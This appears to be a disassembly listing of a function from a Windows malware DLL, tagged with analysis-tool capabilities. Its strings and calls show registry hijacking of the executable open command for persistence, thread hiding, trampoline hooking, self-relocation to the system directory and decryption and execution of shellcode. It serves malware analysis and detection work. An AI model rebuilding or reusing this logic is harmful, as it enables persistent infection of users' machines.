Function at 0x180002420
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x328
cmp dword [0x18004c138], 1
je 0x180002464
mov qword [0x18004c138], 1
mov qword [0x18004c140], 0
mov qword [0x18004c148], 1
mov qword [0x18004c150], rcx
lea rcx, str.DLL_PROCESS_ATTACH_received.Verifying_or_setting_registry_persistence...Notice:_Backup_key_does_not_exist._Creating_backup...SoftwareMyInjectorBackupCommandSuccess:_Original_registry_command_backed_up.Notice:_Backup_key_exists._Skipping_backup_creation.rundll32.exe____DllMain___1___
mov edx, 0x1c
call fcn.180001c50
lea rcx, [0x180039d77]
mov edx, 0x24
call fcn.180001c50
lea rax, str.GlobalNateFailed_to_create_mutexsrclib.rs
mov qword [rsp + 0xe0], rax
lea rax, [0x1800396db]
mov qword [rsp + 0xe8], rax
mov word [rsp + 0xf0], 0
mov dword [rsp + 0xf8], 1
lea rsi, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call fcn.180008290
mov rdi, qword [rsp + 0x38]
xor ecx, ecx
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_CreateMutexW]
mov rbx, rax
inc rax
cmp rax, 1
ja 0x1800024fc
call fcn.18000b730
mov rbx, rax
test edx, edx
jne 0x180003277
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180002588
lea rcx, str.Another_instance_is_already_running._Exiting..._n
mov edx, 0x2f
call fcn.180001c50
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x180002557
call fcn.18000b730
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xe8], edx
test edx, edx
sete cl
test rax, rax
sete al
or al, cl
jne 0x180002557
lea rcx, [rsp + 0xe0]
call fcn.18000b720
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180002572
add rdx, rdx
mov r8d, 2
mov rcx, rdi
call fcn.180008a80
lea rcx, str.Another_instance_is_already_running._Exiting..._n
mov edx, 0x2f
call fcn.180001c50
jmp 0x18000272e
mov byte [0x18004c128], 1
mov qword [0x18004c130], rbx
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x1800025b1
add rdx, rdx
mov r8d, 2
mov rcx, rdi
call fcn.180008a80
call fcn.180005b80
test edx, edx
je 0x1800026a0
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], edx
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x68], rax
lea rax, [0x18000b760]
mov qword [rsp + 0x70], rax
lea rax, [0x180039dc8]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rsi, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, rsi
call fcn.180001c50
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180002662
mov r8d, 1
mov rcx, rsi
call fcn.180008a80
call fcn.180001bc0
mov rsi, qword [rsp + 0xb0]
mov ebx, dword [rsp + 0xb8]
movzx eax, byte [0x18004c161]
mov ecx, 0x10
mov edx, 8
call fcn.180008a70
test rax, rax
je 0x1800032b2
mov rdi, rax
mov qword [rax], rsi
mov dword [rax + 8], ebx
jmp 0x180002705
lea rcx, str.Success:_Threads_successfully_hidden.Process_is_not_infected._Proceeding_with_infection...Detected_infection._Checking_if_the_original_application_needs_to_be_launched..._Launching_original_application_with_command:
mov edx, 0x25
call fcn.180001c50
lea rcx, [rsp + 0xe0]
call fcn.180005060
mov rax, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xe8]
mov rcx, rax
neg rcx
mov ebp, dword [rsp + 0xf0]
jno 0x180002744
movzx eax, byte [0x18004c161]
mov ecx, 0x10
mov edx, 8
call fcn.180008a70
test rax, rax
je 0x1800032b2
mov rdi, rax
mov qword [rax], rbx
mov dword [rax + 8], ebp
lea rbx, [0x1800398e8]
mov rax, qword [rbx]
test rax, rax
je 0x180002719
mov rcx, rdi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x18000272e
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.180008a80
mov al, 1
add rsp, 0x328
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, dword [rsp + 0xfc]
mov dword [rsp + 0xcc], ecx
mov rcx, qword [rsp + 0xf4]
mov qword [rsp + 0xc4], rcx
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rbx
mov dword [rsp + 0xc0], ebp
lea rdi, [rsp + 0xe0]
mov r8d, 0x208
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
test eax, eax
je 0x1800028f4
mov r8d, eax
cmp eax, 0x105
jae 0x1800032c1
lea rdi, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call fcn.1800165c0
mov rcx, rdi
call fcn.180026f20
mov rcx, rax
call fcn.1800188a0
test rax, rax
je 0x1800027fd
mov r8, rdx
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.180013f30
test byte [rsp + 0x68], 1
je 0x18000298e
lea rcx, str.Failed_to_retrieve_process_nameStarting_infection_initialization...Error:_Failed_to_hide_threads._Reason:
mov edx, 0x1f
call fcn.18002f810
mov rdi, rax
mov r14, rdx
movabs rbx, 0x8000000000000000
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180002838
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call fcn.180008a80
mov rax, rbx
neg rax
jo 0x18000292f
lea rcx, [rsp + 0xe0]
mov rdx, rdi
mov r8, r14
call fcn.18002fdf0
mov r14, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xf0]
lea rcx, str.rundll32.exeRegistry_key_does_not_indicate_infection._Proceeding_with_infection...Registry_key_indicates_infection.exefile_shellopencommandRegistry_key_already_points_to_rundll32.exe__indicating_infection.Attempting_to_launch_original_application_with_command:
mov edx, 0xc
mov r8, r14
call fcn.180001330
mov ebp, eax
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x180002898
mov r8d, 1
mov rcx, r14
call fcn.180008a80
test bpl, bpl
je 0x1800029d2
lea r8, [0x18003981b]
lea rcx, [rsp + 0xe0]
mov r9d, 0x1a
mov rdx, 0xffffffff80000000
call fcn.180003900
mov r12, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xe8]
mov rax, r12
neg rax
mov r14, qword [rsp + 0xf0]
jno 0x180002cb4
test r15, r15
jne 0x18000312a
jmp 0x1800030f4
call fcn.18001e600
mov ebx, eax
movzx eax, byte [0x18004c161]
mov ecx, 8
mov edx, 8
call fcn.180008a70
test rax, rax
je 0x1800032d8
mov rdi, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
lea r14, [0x180039a08]
mov r15, rdi
test r15, r15
je 0x1800029eb
lea rcx, [0x18003a3a0]
mov edx, 0x28
call fcn.180001c50
call fcn.180001bc0
lea rcx, [0x18003a3c8]
mov edx, 0x20
call fcn.18002f810
mov rdi, rax
mov rbx, rdx
mov rax, qword [r14]
test rax, rax
je 0x180002975
mov rcx, r15
call rax
mov rdx, qword [r14 + 8]
test rdx, rdx
je 0x180003249
mov r8, qword [r14 + 0x10]
mov rcx, r15
jmp 0x180003244
mov r14, qword [rsp + 0x78]
test r14, r14
js 0x1800032e7
mov rbx, qword [rsp + 0x70]
je 0x180002f84
movzx eax, byte [0x18004c161]
mov r15d, 1
mov edx, 1
mov rcx, r14
call fcn.180008a70
test rax, rax
je 0x1800032ea
mov rdi, rax
jmp 0x180002f89
test rbx, rbx
je 0x1800029e8
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.180008a80
xor r14d, r14d
test r14b, 1
je 0x180002ae0
lea rcx, [0x180039e32]
mov edx, 0x50
call fcn.180001c50
lea rdi, [rsp + 0x300]
mov rcx, rdi
call fcn.180013430
mov qword [rsp + 0x320], 1
lea rcx, [rsp + 0x88]
mov rdx, rdi
call fcn.180007ef0
mov rdi, qword [rsp + 0x98]
test rdi, rdi
je 0x180002a8f
mov r14, qword [rsp + 0x90]
lea rbx, [rsp + 0xe0]
mov rcx, rbx
call fcn.1800012d0
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.1800077e0
mov ebx, eax
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x180002a87
mov rcx, qword [rsp + 0xe8]
mov r8d, 1
call fcn.180008a80
test bl, bl
je 0x180002cef
lea rcx, [0x18003a342]
mov edx, 0x5e
call fcn.180001c50
call fcn.180001bc0
xor edi, edi
lea rcx, [rsp + 0x88]
call fcn.180007ea0
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x180003249
mov rcx, qword [rsp + 0x90]
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
jmp 0x180003244
lea rcx, [0x180039dfd]
mov edx, 0x35
call fcn.180001c50
lea rdx, [0x18003a608]
lea rdi, [rsp + 0xe0]
mov r8d, 0x13
mov rcx, rdi
call fcn.180027190
lea rcx, [rsp + 0xb0]
call fcn.180026f20
mov rbx, rax
mov r14, rdx
mov rcx, rdi
call fcn.180026f20
mov r9, rdx
mov rcx, rbx
mov rdx, r14
mov r8, rax
call fcn.180018e20
mov ebx, eax
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x180002b5c
mov rcx, qword [rsp + 0xe8]
mov r8d, 1
call fcn.180008a80
test bl, bl
je 0x180002bb1
lea rcx, str.Module_is_already_running_from_the_system_directory._Continuing_execution...Success:_Trampoline_hook_set_at_address:
mov edx, 0x4c
call fcn.180001c50
call fcn.180005d90
test rax, rax
jne 0x1800032f5
lea rcx, [0x18003a288]
mov edx, 0x29
call fcn.180001c50
call fcn.180001bc0
lea rcx, [0x18003a2b1]
mov edx, 0x1d
call fcn.18002f810
mov rdi, rax
mov rbx, rdx
jmp 0x180003249
lea rcx, str.Module_is_not_running_from_the_system_directory._Attempting_to_move_and_rename...Success:_Module_moved_and_renamed_to:
mov edx, 0x51
call fcn.180001c50
lea rcx, [rsp + 0x68]
call fcn.180004500
xor eax, eax
cmp rax, qword [rsp + 0x68]
jno 0x180002fad
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x90], ecx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x50], rax
lea rax, [0x18000b760]
mov qword [rsp + 0x58], rax
lea rax, [0x18003a0d0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rsi, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, rsi
call fcn.180001c50
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180002c86
mov r8d, 1
mov rcx, rsi
call fcn.180008a80
call fcn.180001bc0
mov rsi, qword [rsp + 0x88]
mov ebx, dword [rsp + 0x90]
call fcn.180001b20
mov rdi, rax
mov qword [rax], rsi
mov dword [rax + 8], ebx
lea rbx, [0x1800398e8]
jmp 0x180003249
lea rcx, str.rundll32.exeRegistry_key_does_not_indicate_infection._Proceeding_with_infection...Registry_key_indicates_infection.exefile_shellopencommandRegistry_key_already_points_to_rundll32.exe__indicating_infection.Attempting_to_launch_original_application_with_command:
mov edx, 0xc
mov r8, r15
mov r9, r14
call fcn.180001330
test al, al
je 0x1800030db
lea rcx, [0x180039835]
mov edx, 0x42
call fcn.180001c50
mov r14d, 1
jmp 0x1800030de
lea rcx, [rsp + 0xe0]
mov rdx, r14
mov r8, rdi
call fcn.180003d20
mov r13, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
mov rax, r13
neg rax
mov rbx, qword [rsp + 0xf0]
jo 0x180002aa7
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x20], 1
lea r9, [0x180039e82]
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.180006a20
mov qword [rsp + 0x68], rsi
lea rax, [0x180001b60]
mov qword [rsp + 0x70], rax
lea rax, [0x180039eb0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x2e8]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180002dd3
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call fcn.180008a80
mov r15, qword [rsp + 0x2e8]
mov r12, qword [rsp + 0x2f0]
mov rdx, qword [rsp + 0x2f8]
mov rcx, r12
call fcn.180001c50
test r15, r15
je 0x180002e09
mov r8d, 1
mov rcx, r12
mov rdx, r15
call fcn.180008a80
mov qword [rsp + 0x20], 1
lea r9, [0x180039e82]
lea rcx, [rsp + 0x68]
mov rdx, rdi
mov r8, rbx
call fcn.180006a20
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rcx, rbx
call fcn.180002160
test rax, rax
je 0x1800035b8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rdx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xa0], rax
lea rax, [0x180006f00]
mov qword [rsp + 0xa8], rax
lea rax, str.Error:_Failed_to_launch_original_application._Reason:
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov r15, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, r15
call fcn.180001c50
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180002ef2
mov r8d, 1
mov rcx, r15
call fcn.180008a80
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.180001190
lea rcx, [rsp + 0x50]
call fcn.180007ea0
test r13, r13
je 0x180002f33
shl r13, 3
lea rdx, [r13*2]
add rdx, r13
mov r8d, 8
mov rcx, rdi
call fcn.180008a80
lea rcx, [rsp + 0x88]
call fcn.180007ea0
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x180002f63
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, r14
call fcn.180008a80
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x180002af1
mov r8d, 1
mov rcx, rbx
call fcn.180008a80
jmp 0x180002af1
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rbx, r14
mov rdx, qword [rsp + 0x30]
test rdx, rdx
jne 0x180002828
jmp 0x180002838
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x88], rsi
lea rax, case.0x180018194.26
mov qword [rsp + 0x90], rax
lea rax, [0x180039f80]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rdi, [rsp + 0x88]
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rsi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, rsi
call fcn.180001c50
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x180003057
mov r8d, 1
mov rcx, rsi
call fcn.180008a80
lea rcx, [rsp + 0x30]
call fcn.180026f20
mov r8, rdx
lea rcx, [rsp + 0xe0]
mov rdx, rax
call fcn.180013f30
test byte [rsp + 0xe0], 1
jne 0x18000340f
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
call fcn.180003610
test rax, rax
je 0x180003149
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rdx
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x88], rax
lea rax, [0x180006f00]
mov qword [rsp + 0x90], rax
lea rax, str.Error:_Failed_to_set_registry_persistence._Reason:
jmp 0x1800031aa
xor r14d, r14d
test r12, r12
je 0x1800030f4
mov r8d, 1
mov rcx, r15
mov rdx, r12
call fcn.180008a80
test r14b, 1
je 0x180003113
lea rcx, [0x1800397fa]
mov edx, 0x21
call fcn.180001c50
mov r14d, 1
jmp 0x180003127
lea rcx, [0x1800397b4]
mov edx, 0x46
call fcn.180001c50
xor r14d, r14d
xor r15d, r15d
test rbx, rbx
je 0x180002932
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.180008a80
jmp 0x180002932
lea rcx, str.Launching_new_instance_of_the_DLL...Error:_Failed_to_launch_new_DLL_instance._Reason:
mov edx, 0x24
call fcn.180001c50
lea rcx, [rsp + 0x30]
call fcn.180003eb0
test rax, rax
je 0x1800035f1
mov qword [rsp + 0xa0], rax
lea rax, [0x1800398e8]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x88], rax
lea rax, [0x180006f00]
mov qword [rsp + 0x90], rax
lea rax, [0x18003a048]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rsi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, rsi
call fcn.180001c50
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x18000321a
mov r8d, 1
mov rcx, rsi
call fcn.180008a80
call fcn.180001bc0
mov rdi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180003249
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call fcn.180008a80
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x180003269
mov rcx, qword [rsp + 0xb8]
mov r8d, 1
call fcn.180008a80
test rdi, rdi
jne 0x18000270c
jmp 0x18000272e
mov qword [rsp + 0xe0], rbx
mov dword [rsp + 0xe8], edx
lea rax, [0x180039700]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800396db]
lea r9, [0x180039578]
lea r8, [rsp + 0xe0]
mov edx, 0x16
call fcn.180038530
mov ecx, 8
mov edx, 0x10
call fcn.1800380d0
lea rax, [0x180039d40]
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.180038630
mov ecx, 8
mov edx, 8
call fcn.1800380d0
xor r15d, r15d
mov rcx, r15
mov rdx, r14
call fcn.1800380b0
mov qword [rsp + 0x50], rax
lea rdi, [rsp + 0x50]
mov qword [rsp + 0x68], rdi
lea rax, [0x180006ea0]
mov qword [rsp + 0x70], rax
lea rax, [0x18003a158]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rbx, [rsp + 0x68]
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rsi, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, rsi
call fcn.180001c50
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x18000338c
mov r8d, 1
mov rcx, rsi
call fcn.180008a80
cmp byte [0x18004c120], 0
jne 0x1800033c8
lea rcx, str.Preparing_to_decrypt_and_execute_shellcode...Success:_Shellcode_execution_completed.
mov edx, 0x2d
call fcn.180001c50
mov ecx, 0x1388
call fcn.1800058d0
mov byte [0x18004c120], 1
lea rcx, [0x18003a195]
mov edx, 0x27
call fcn.180001c50
lea rcx, [0x180039bac]
mov edx, 0x2c
call fcn.180001c50
lea rcx, [rsp + 0xb0]
call fcn.180026f20
mov r8, rdx
lea rcx, [rsp + 0xe0]
mov rdx, rax
call fcn.180013f30
cmp dword [rsp + 0xe0], 1
jne 0x18000341b
lea rcx, [0x18003a1c0]
call fcn.180038160
lea rcx, [0x180039f90]
call fcn.180038160
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
call fcn.180003610
test rax, rax
je 0x1800034da
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x68], rdi
lea rax, [0x180006f00]
mov qword [rsp + 0x70], rax
lea rax, str.Error:_Failed_to_set_registry_persistence_in_second_instance._Reason:
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rsi, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, rsi
call fcn.180001c50
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x1800034cb
mov r8d, 1
mov rcx, rsi
call fcn.180008a80
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.180001190
lea rcx, str.Attempting_to_launch_original_application...Success:_Infection_initialization_completed.Error:_Failed_to_set_the_trampoline_hook.Failed_to_set_trampoline_hookProcess_is_already_infected._Exiting_after_launching_original_application.Executing_shellcode_before_process_exit...Detected_placeholder_or_no_valid_command_line_arguments._Skipping_original_application_launch.Error:_Failed_to_check_infection_status.Failed_to_check_infection_statusNo_valid_application_command_found..dll____DllMain
mov edx, 0x2c
call fcn.180001c50
call fcn.180001e20
test rax, rax
je 0x18000359a
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x68], rdi
lea rax, [0x180006f00]
mov qword [rsp + 0x70], rax
lea rax, [0x1800399d8]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xe0]
call fcn.18002fc40
mov rsi, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, rsi
call fcn.180001c50
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x18000358b
mov r8d, 1
mov rcx, rsi
call fcn.180008a80
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.180001190
lea rcx, [0x18003a25c]
mov edx, 0x2c
call fcn.180001c50
call fcn.180001bc0
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea rcx, [0x18003a2ce]
mov edx, 0x4a
call fcn.180001c50
lea rcx, [0x18003a318]
mov edx, 0x2a
call fcn.180001c50
mov ecx, 0x1388
call fcn.1800058d0
call fcn.180001bc0
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea rcx, str.Exiting_current_process_to_pass_control_to_the_new_instance.Error:_Failed_to_move_and_rename_the_module._Reason:
mov edx, 0x3c
call fcn.180001c50
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]